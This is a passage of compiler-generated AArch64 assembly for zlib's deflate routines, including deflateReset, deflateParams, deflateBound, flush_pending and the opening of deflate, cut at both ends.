ldr x0, [sp, 80]
ldr w0, [x0, 164]
sub w0, w0, #2
str w0, [sp, 64]
.L1584:
ldr x0, [sp, 80]
ldr w1, [x0, 112]
ldr x0, [sp, 80]
ldr w0, [x0, 128]
lsl w0, w1, w0
ldr x1, [sp, 80]
ldr x2, [x1, 80]
ldr w1, [sp, 60]
add w1, w1, 2
uxtw x1, w1
add x1, x2, x1
ldrb w1, [x1]
eor w1, w0, w1
ldr x0, [sp, 80]
ldr w0, [x0, 124]
and w1, w1, w0
ldr x0, [sp, 80]
str w1, [x0, 112]
ldr x0, [sp, 80]
ldr x1, [x0, 104]
ldr x0, [sp, 80]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x1, x1, x0
ldr x0, [sp, 80]
ldr x2, [x0, 96]
ldr x0, [sp, 80]
ldr w3, [x0, 76]
ldr w0, [sp, 60]
and w0, w3, w0
uxtw x0, w0
lsl x0, x0, 1
add x0, x2, x0
ldrh w1, [x1]
strh w1, [x0]
ldr x0, [sp, 80]
ldr x1, [x0, 104]
ldr x0, [sp, 80]
ldr w0, [x0, 112]
uxtw x0, w0
lsl x0, x0, 1
add x0, x1, x0
ldr w1, [sp, 60]
and w1, w1, 65535
strh w1, [x0]
ldr w0, [sp, 60]
add w0, w0, 1
str w0, [sp, 60]
ldr w0, [sp, 64]
sub w0, w0, #1
str w0, [sp, 64]
ldr w0, [sp, 64]
cmp w0, 0
beq .L1590
b .L1584
.L1590:
nop
ldr x0, [sp, 80]
ldr w1, [sp, 60]
str w1, [x0, 156]
ldr x0, [sp, 80]
mov w1, 2
str w1, [x0, 164]
ldr x0, [sp, 80]
bl fill_window
.L1581:
ldr x0, [sp, 80]
ldr w0, [x0, 164]
cmp w0, 2
bhi .L1585
ldr x0, [sp, 80]
ldr w1, [x0, 156]
ldr x0, [sp, 80]
ldr w0, [x0, 164]
add w1, w1, w0
ldr x0, [sp, 80]
str w1, [x0, 156]
ldr x0, [sp, 80]
ldr w0, [x0, 156]
uxtw x1, w0
ldr x0, [sp, 80]
str x1, [x0, 136]
ldr x0, [sp, 80]
ldr w1, [x0, 164]
ldr x0, [sp, 80]
str w1, [x0, 5916]
ldr x0, [sp, 80]
str wzr, [x0, 164]
mov w0, 2
str w0, [sp, 76]
ldr x0, [sp, 80]
ldr w1, [sp, 76]
str w1, [x0, 168]
ldr x0, [sp, 80]
ldr w1, [sp, 76]
str w1, [x0, 144]
ldr x0, [sp, 80]
str wzr, [x0, 152]
ldr x0, [sp, 40]
ldr x1, [sp, 88]
str x1, [x0]
ldr x0, [sp, 40]
ldr w1, [sp, 72]
str w1, [x0, 8]
ldr x0, [sp, 80]
ldr w1, [sp, 68]
str w1, [x0, 44]
str wzr, [sp, 56]
.L1571:
ldr w0, [sp, 56]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE98:
.size deflateSetDictionary, .-deflateSetDictionary
.align 2
.global deflateResetKeep
.type deflateResetKeep, %function
deflateResetKeep:
.LFB99:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L1604
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
beq .L1605
ldr x0, [sp, 24]
ldr x0, [x0, 64]
cmp x0, 0
beq .L1606
ldr x0, [sp, 24]
ldr x0, [x0, 72]
cmp x0, 0
bne .L1596
b .L1593
.L1604:
nop
b .L1593
.L1605:
nop
b .L1593
.L1606:
nop
.L1593:
mov w0, -2
str w0, [sp, 44]
b .L1597
.L1596:
str xzr, [sp, 48]
ldr x0, [sp, 24]
ldr x1, [sp, 48]
str x1, [x0, 40]
ldr x0, [sp, 24]
ldr x1, [sp, 48]
str x1, [x0, 16]
ldr x0, [sp, 24]
str xzr, [x0, 48]
ldr x0, [sp, 24]
mov w1, 2
str w1, [x0, 88]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 56]
ldr x0, [sp, 56]
str wzr, [x0, 40]
ldr x0, [sp, 56]
ldr x1, [x0, 16]
ldr x0, [sp, 56]
str x1, [x0, 32]
ldr x0, [sp, 56]
ldr w0, [x0, 44]
cmp w0, 0
bge .L1598
ldr x0, [sp, 56]
ldr w0, [x0, 44]
neg w1, w0
ldr x0, [sp, 56]
str w1, [x0, 44]
.L1598:
ldr x0, [sp, 56]
ldr w0, [x0, 44]
cmp w0, 0
beq .L1599
ldr x0, [sp, 56]
mov w1, 42
str w1, [x0, 8]
b .L1600
.L1599:
ldr x0, [sp, 56]
mov w1, 113
str w1, [x0, 8]
.L1600:
ldr x0, [sp, 56]
ldr w0, [x0, 44]
cmp w0, 2
bne .L1601
mov w2, 0
mov x1, 0
mov x0, 0
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
b .L1602
.L1601:
mov w2, 0
mov x1, 0
mov x0, 0
bl adler32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
.L1602:
ldr x0, [sp, 56]
str wzr, [x0, 64]
ldr x0, [sp, 56]
bl _tr_init
str wzr, [sp, 44]
.L1597:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE99:
.size deflateResetKeep, .-deflateResetKeep
.align 2
.global deflateReset
.type deflateReset, %function
deflateReset:
.LFB100:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl deflateResetKeep
str w0, [sp, 44]
ldr w0, [sp, 44]
cmp w0, 0
bne .L1608
ldr x0, [sp, 24]
ldr x0, [x0, 56]
bl lm_init
.L1608:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE100:
.size deflateReset, .-deflateReset
.align 2
.global deflateSetHeader
.type deflateSetHeader, %function
deflateSetHeader:
.LFB101:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1611
mov w0, -2
str w0, [sp, 28]
b .L1612
.L1611:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1613
mov w0, -2
str w0, [sp, 28]
b .L1612
.L1613:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
ldr w0, [x0, 44]
cmp w0, 2
beq .L1614
mov w0, -2
str w0, [sp, 28]
b .L1612
.L1614:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
ldr x1, [sp]
str x1, [x0, 48]
str wzr, [sp, 28]
.L1612:
ldr w0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE101:
.size deflateSetHeader, .-deflateSetHeader
.align 2
.global deflatePending
.type deflatePending, %function
deflatePending:
.LFB102:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str x2, [sp, 8]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1617
mov w0, -2
str w0, [sp, 44]
b .L1618
.L1617:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1619
mov w0, -2
str w0, [sp, 44]
b .L1618
.L1619:
ldr x0, [sp, 16]
cmp x0, 0
beq .L1620
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr w1, [x0, 40]
ldr x0, [sp, 16]
str w1, [x0]
.L1620:
ldr x0, [sp, 8]
cmp x0, 0
beq .L1621
ldr x0, [sp, 24]
ldr x0, [x0, 56]
ldr w1, [x0, 5924]
ldr x0, [sp, 8]
str w1, [x0]
.L1621:
str wzr, [sp, 44]
.L1618:
ldr w0, [sp, 44]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE102:
.size deflatePending, .-deflatePending
.align 2
.global deflatePrime
.type deflatePrime, %function
deflatePrime:
.LFB103:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1624
mov w0, -2
str w0, [sp, 32]
b .L1625
.L1624:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1626
mov w0, -2
str w0, [sp, 32]
b .L1625
.L1626:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr x1, [x0, 5888]
ldr x0, [sp, 40]
ldr x0, [x0, 32]
add x0, x0, 2
cmp x1, x0
bcs .L1627
mov w0, -5
str w0, [sp, 32]
b .L1625
.L1627:
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
mov w1, 16
sub w0, w1, w0
str w0, [sp, 36]
ldr w1, [sp, 36]
ldr w0, [sp, 20]
cmp w1, w0
ble .L1628
ldr w0, [sp, 20]
str w0, [sp, 36]
.L1628:
ldr x0, [sp, 40]
ldrh w1, [x0, 5920]
ldr w0, [sp, 36]
mov w2, 1
lsl w0, w2, w0
sub w2, w0, #1
ldr w0, [sp, 16]
and w2, w2, w0
ldr x0, [sp, 40]
ldr w0, [x0, 5924]
lsl w0, w2, w0
and w0, w0, 65535
orr w0, w1, w0
and w1, w0, 65535
ldr x0, [sp, 40]
strh w1, [x0, 5920]
ldr x0, [sp, 40]
ldr w1, [x0, 5924]
ldr w0, [sp, 36]
add w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 5924]
ldr x0, [sp, 40]
bl _tr_flush_bits
ldr w0, [sp, 36]
ldr w1, [sp, 16]
asr w0, w1, w0
str w0, [sp, 16]
ldr w1, [sp, 20]
ldr w0, [sp, 36]
sub w0, w1, w0
str w0, [sp, 20]
ldr w0, [sp, 20]
cmp w0, 0
beq .L1633
b .L1627
.L1633:
nop
str wzr, [sp, 32]
.L1625:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE103:
.size deflatePrime, .-deflatePrime
.align 2
.global deflateParams
.type deflateParams, %function
deflateParams:
.LFB104:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
str wzr, [sp, 44]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1635
mov w0, -2
str w0, [sp, 40]
b .L1636
.L1635:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1637
mov w0, -2
str w0, [sp, 40]
b .L1636
.L1637:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 48]
ldr w0, [sp, 20]
cmn w0, #1
bne .L1638
mov w0, 6
str w0, [sp, 20]
.L1638:
ldr w0, [sp, 20]
cmp w0, 0
blt .L1649
ldr w0, [sp, 20]
cmp w0, 9
bgt .L1650
ldr w0, [sp, 16]
cmp w0, 0
blt .L1651
ldr w0, [sp, 16]
cmp w0, 4
ble .L1643
b .L1640
.L1649:
nop
b .L1640
.L1650:
nop
b .L1640
.L1651:
nop
.L1640:
mov w0, -2
str w0, [sp, 40]
b .L1636
.L1643:
ldr x0, [sp, 48]
ldr w2, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
sxtw x0, w2
lsl x0, x0, 4
add x0, x1, x0
ldr x0, [x0, 8]
str x0, [sp, 56]
ldr x0, [sp, 48]
ldr w0, [x0, 184]
ldr w1, [sp, 16]
cmp w1, w0
bne .L1652
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
ldrsw x0, [sp, 20]
lsl x0, x0, 4
add x0, x1, x0
ldr x0, [x0, 8]
ldr x1, [sp, 56]
cmp x1, x0
beq .L1646
b .L1645
.L1652:
nop
.L1645:
ldr x0, [sp, 24]
ldr x0, [x0, 16]
cmp x0, 0
beq .L1646
mov w1, 5
ldr x0, [sp, 24]
bl deflate
str w0, [sp, 44]
.L1646:
ldr x0, [sp, 48]
ldr w0, [x0, 180]
ldr w1, [sp, 20]
cmp w1, w0
beq .L1647
ldr x0, [sp, 48]
ldr w1, [sp, 20]
str w1, [x0, 180]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
ldrsw x0, [sp, 20]
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 2]
mov w1, w0
ldr x0, [sp, 48]
str w1, [x0, 176]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
ldrsw x0, [sp, 20]
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0]
mov w1, w0
ldr x0, [sp, 48]
str w1, [x0, 188]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
ldrsw x0, [sp, 20]
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 4]
mov w1, w0
ldr x0, [sp, 48]
str w1, [x0, 192]
adrp x0, configuration_table
add x1, x0, :lo12:configuration_table
ldrsw x0, [sp, 20]
lsl x0, x0, 4
add x0, x1, x0
ldrh w0, [x0, 6]
mov w1, w0
ldr x0, [sp, 48]
str w1, [x0, 172]
.L1647:
ldr x0, [sp, 48]
ldr w1, [sp, 16]
str w1, [x0, 184]
ldr w0, [sp, 44]
str w0, [sp, 40]
.L1636:
ldr w0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE104:
.size deflateParams, .-deflateParams
.align 2
.global deflateTune
.type deflateTune, %function
deflateTune:
.LFB105:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
str w3, [sp, 12]
str w4, [sp, 8]
ldr x0, [sp, 24]
cmp x0, 0
bne .L1654
mov w0, -2
str w0, [sp, 36]
b .L1655
.L1654:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1656
mov w0, -2
str w0, [sp, 36]
b .L1655
.L1656:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr w1, [sp, 20]
ldr x0, [sp, 40]
str w1, [x0, 188]
ldr w1, [sp, 16]
ldr x0, [sp, 40]
str w1, [x0, 176]
ldr x0, [sp, 40]
ldr w1, [sp, 12]
str w1, [x0, 192]
ldr w1, [sp, 8]
ldr x0, [sp, 40]
str w1, [x0, 172]
str wzr, [sp, 36]
.L1655:
ldr w0, [sp, 36]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE105:
.size deflateTune, .-deflateTune
.align 2
.global deflateBound
.type deflateBound, %function
deflateBound:
.LFB106:
.cfi_startproc
sub sp, sp, #80
.cfi_def_cfa_offset 80
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp]
add x0, x0, 7
lsr x1, x0, 3
ldr x0, [sp]
add x1, x1, x0
ldr x0, [sp]
add x0, x0, 63
lsr x0, x0, 6
add x0, x1, x0
add x0, x0, 5
str x0, [sp, 48]
ldr x0, [sp, 8]
cmp x0, 0
bne .L1659
ldr x0, [sp, 48]
add x0, x0, 6
str x0, [sp, 24]
b .L1660
.L1659:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
cmp x0, 0
bne .L1661
ldr x0, [sp, 48]
add x0, x0, 6
str x0, [sp, 24]
b .L1660
.L1661:
ldr x0, [sp, 8]
ldr x0, [x0, 56]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w0, [x0, 44]
cmp w0, 2
beq .L1662
cmp w0, 2
bgt .L1663
cmp w0, 0
beq .L1664
cmp w0, 1
beq .L1665
b .L1663
.L1664:
str xzr, [sp, 32]
b .L1666
.L1665:
ldr x0, [sp, 56]
ldr w0, [x0, 156]
cmp w0, 0
beq .L1667
mov w0, 4
str w0, [sp, 20]
b .L1668
.L1667:
str wzr, [sp, 20]
.L1668:
ldr w0, [sp, 20]
add w0, w0, 6
sxtw x0, w0
str x0, [sp, 32]
b .L1666
.L1662:
mov x0, 18
str x0, [sp, 32]
ldr x0, [sp, 56]
ldr x0, [x0, 48]
cmp x0, 0
beq .L1680
ldr x0, [sp, 56]
ldr x0, [x0, 48]
ldr x0, [x0, 24]
cmp x0, 0
beq .L1670
ldr x0, [sp, 56]
ldr x0, [x0, 48]
ldr w0, [x0, 32]
add w0, w0, 2
uxtw x0, w0
ldr x1, [sp, 32]
add x0, x1, x0
str x0, [sp, 32]
.L1670:
ldr x0, [sp, 56]
ldr x0, [x0, 48]
ldr x0, [x0, 40]
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
beq .L1671
.L1673:
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
str x0, [sp, 64]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 64]
ldrb w0, [x0]
cmp w0, 0
beq .L1681
b .L1673
.L1681:
nop
.L1671:
ldr x0, [sp, 56]
ldr x0, [x0, 48]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
beq .L1674
.L1676:
ldr x0, [sp, 32]
add x0, x0, 1
str x0, [sp, 32]
ldr x0, [sp, 40]
str x0, [sp, 72]
ldr x0, [sp, 40]
add x0, x0, 1
str x0, [sp, 40]
ldr x0, [sp, 72]
ldrb w0, [x0]
cmp w0, 0
beq .L1682
b .L1676
.L1682:
nop
.L1674:
ldr x0, [sp, 56]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1680
ldr x0, [sp, 32]
add x0, x0, 2
str x0, [sp, 32]
b .L1680
.L1663:
mov x0, 6
str x0, [sp, 32]
b .L1666
.L1680:
nop
.L1666:
ldr x0, [sp, 56]
ldr w0, [x0, 72]
cmp w0, 15
beq .L1677
ldr x1, [sp, 48]
ldr x0, [sp, 32]
add x0, x1, x0
str x0, [sp, 24]
b .L1660
.L1677:
ldr x0, [sp, 56]
ldr w0, [x0, 120]
cmp w0, 15
beq .L1678
ldr x1, [sp, 48]
ldr x0, [sp, 32]
add x0, x1, x0
str x0, [sp, 24]
b .L1660
.L1678:
ldr x0, [sp]
lsr x1, x0, 12
ldr x0, [sp]
add x1, x1, x0
ldr x0, [sp]
lsr x0, x0, 14
add x1, x1, x0
ldr x0, [sp]
lsr x0, x0, 25
add x1, x1, x0
ldr x0, [sp, 32]
add x0, x1, x0
add x0, x0, 7
str x0, [sp, 24]
.L1660:
ldr x0, [sp, 24]
add sp, sp, 80
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE106:
.size deflateBound, .-deflateBound
.align 2
.type putShortMSB, %function
putShortMSB:
.LFB107:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 24]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr w0, [sp, 4]
lsr w2, w0, 8
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 24]
add x0, x1, x0
and w1, w2, 255
strb w1, [x0]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
str w0, [sp, 28]
ldr x0, [sp, 8]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 8]
str w1, [x0, 40]
ldr x0, [sp, 8]
ldr x1, [x0, 16]
ldr w0, [sp, 28]
add x0, x1, x0
ldr w1, [sp, 4]
and w1, w1, 255
strb w1, [x0]
nop
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE107:
.size putShortMSB, .-putShortMSB
.align 2
.type flush_pending, %function
flush_pending:
.LFB108:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 40]
ldr x0, [sp, 40]
bl _tr_flush_bits
ldr x0, [sp, 40]
ldr w0, [x0, 40]
str w0, [sp, 36]
ldr x0, [sp, 24]
ldr w0, [x0, 32]
ldr w1, [sp, 36]
cmp w1, w0
bls .L1686
ldr x0, [sp, 24]
ldr w0, [x0, 32]
str w0, [sp, 36]
.L1686:
ldr w0, [sp, 36]
cmp w0, 0
beq .L1690
ldr x0, [sp, 24]
ldr x3, [x0, 24]
ldr x0, [sp, 40]
ldr x0, [x0, 32]
ldr w2, [sp, 36]
mov x1, x0
mov x0, x3
bl memcpy
ldr x0, [sp, 24]
ldr x1, [x0, 24]
ldr w0, [sp, 36]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 24]
ldr x0, [sp, 40]
ldr x1, [x0, 32]
ldr w0, [sp, 36]
add x1, x1, x0
ldr x0, [sp, 40]
str x1, [x0, 32]
ldr x0, [sp, 24]
ldr x1, [x0, 40]
ldr w0, [sp, 36]
add x1, x1, x0
ldr x0, [sp, 24]
str x1, [x0, 40]
ldr x0, [sp, 24]
ldr w1, [x0, 32]
ldr w0, [sp, 36]
sub w1, w1, w0
ldr x0, [sp, 24]
str w1, [x0, 32]
ldr x0, [sp, 40]
ldr w1, [x0, 40]
ldr w0, [sp, 36]
sub w1, w1, w0
ldr x0, [sp, 40]
str w1, [x0, 40]
ldr x0, [sp, 40]
ldr w0, [x0, 40]
cmp w0, 0
bne .L1691
ldr x0, [sp, 40]
ldr x1, [x0, 16]
ldr x0, [sp, 40]
str x1, [x0, 32]
b .L1688
.L1690:
nop
b .L1688
.L1691:
nop
.L1688:
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE108:
.size flush_pending, .-flush_pending
.align 2
.global deflate
.type deflate, %function
deflate:
.LFB109:
.cfi_startproc
stp x29, x30, [sp, -272]!
.cfi_def_cfa_offset 272
.cfi_offset 29, -272
.cfi_offset 30, -264
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
cmp x0, 0
beq .L1796
ldr x0, [sp, 24]
ldr x0, [x0, 56]
cmp x0, 0
beq .L1797
ldr w0, [sp, 20]
cmp w0, 5
bgt .L1798
ldr w0, [sp, 20]
cmp w0, 0
bge .L1697
b .L1694
.L1796:
nop
b .L1694
.L1797:
nop
b .L1694
.L1798:
nop
.L1694:
mov w0, -2
str w0, [sp, 36]
b .L1698
.L1697:
ldr x0, [sp, 24]
ldr x0, [x0, 56]
str x0, [sp, 264]
ldr x0, [sp, 24]
ldr x0, [x0, 24]
cmp x0, 0
beq .L1799
ldr x0, [sp, 24]
ldr x0, [x0]
cmp x0, 0
bne .L1800
ldr x0, [sp, 24]
ldr w0, [x0, 8]
cmp w0, 0
bne .L1801
b .L1701
.L1800:
nop
.L1701:
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 666
bne .L1703
ldr w0, [sp, 20]
cmp w0, 4
beq .L1703
b .L1700
.L1799:
nop
b .L1700
.L1801:
nop
.L1700:
adrp x0, .LC14
add x1, x0, :lo12:.LC14
ldr x0, [sp, 24]
str x1, [x0, 48]
mov w0, -2
str w0, [sp, 36]
b .L1698
.L1703:
ldr x0, [sp, 24]
ldr w0, [x0, 32]
cmp w0, 0
bne .L1704
adrp x0, .LC17
add x1, x0, :lo12:.LC17
ldr x0, [sp, 24]
str x1, [x0, 48]
mov w0, -5
str w0, [sp, 36]
b .L1698
.L1704:
ldr x0, [sp, 264]
ldr x1, [sp, 24]
str x1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 64]
str w0, [sp, 116]
ldr x0, [sp, 264]
ldr w1, [sp, 20]
str w1, [x0, 64]
ldr x0, [sp, 264]
ldr w0, [x0, 8]
cmp w0, 42
bne .L1705
ldr x0, [sp, 264]
ldr w0, [x0, 44]
cmp w0, 2
bne .L1706
mov w2, 0
mov x1, 0
mov x0, 0
bl crc32
mov x1, x0
ldr x0, [sp, 24]
str x1, [x0, 96]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 120]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 120]
add x0, x1, x0
mov w1, 31
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 124]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 124]
add x0, x1, x0
mov w1, -117
strb w1, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 128]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 128]
add x0, x1, x0
mov w1, 8
strb w1, [x0]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
cmp x0, 0
bne .L1707
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 168]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 168]
add x0, x1, x0
strb wzr, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 172]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 172]
add x0, x1, x0
strb wzr, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 176]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 176]
add x0, x1, x0
strb wzr, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 180]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 180]
add x0, x1, x0
strb wzr, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 184]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 184]
add x0, x1, x0
strb wzr, [x0]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 188]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 9
bne .L1708
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 188]
add x0, x1, x0
mov w1, 2
strb w1, [x0]
b .L1709
.L1708:
ldr x0, [sp, 264]
ldr w0, [x0, 184]
cmp w0, 1
ble .L1710
mov w0, 4
str w0, [sp, 44]
b .L1711
.L1710:
ldr x0, [sp, 264]
ldr w0, [x0, 180]
cmp w0, 1
bgt .L1712
mov w0, 4
str w0, [sp, 44]
b .L1711
.L1712:
str wzr, [sp, 44]
.L1711:
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 188]
add x0, x1, x0
ldr w1, [sp, 44]
and w1, w1, 255
strb w1, [x0]
.L1709:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 192]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x1, [x0, 16]
ldr w0, [sp, 192]
add x0, x1, x0
mov w1, 3
strb w1, [x0]
ldr x0, [sp, 264]
mov w1, 113
str w1, [x0, 8]
b .L1705
.L1707:
ldr x0, [sp, 264]
ldr w0, [x0, 40]
str w0, [sp, 132]
ldr x0, [sp, 264]
ldr w0, [x0, 40]
add w1, w0, 1
ldr x0, [sp, 264]
str w1, [x0, 40]
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0]
cmp w0, 0
beq .L1713
mov w0, 1
str w0, [sp, 48]
b .L1714
.L1713:
str wzr, [sp, 48]
.L1714:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr w0, [x0, 68]
cmp w0, 0
beq .L1715
mov w0, 2
str w0, [sp, 52]
b .L1716
.L1715:
str wzr, [sp, 52]
.L1716:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 24]
cmp x0, 0
bne .L1717
str wzr, [sp, 56]
b .L1718
.L1717:
mov w0, 4
str w0, [sp, 56]
.L1718:
ldr x0, [sp, 264]
ldr x0, [x0, 48]
ldr x0, [x0, 40]
cmp x0, 0
bne .L1719
str wzr, [sp, 60]
b .L1720
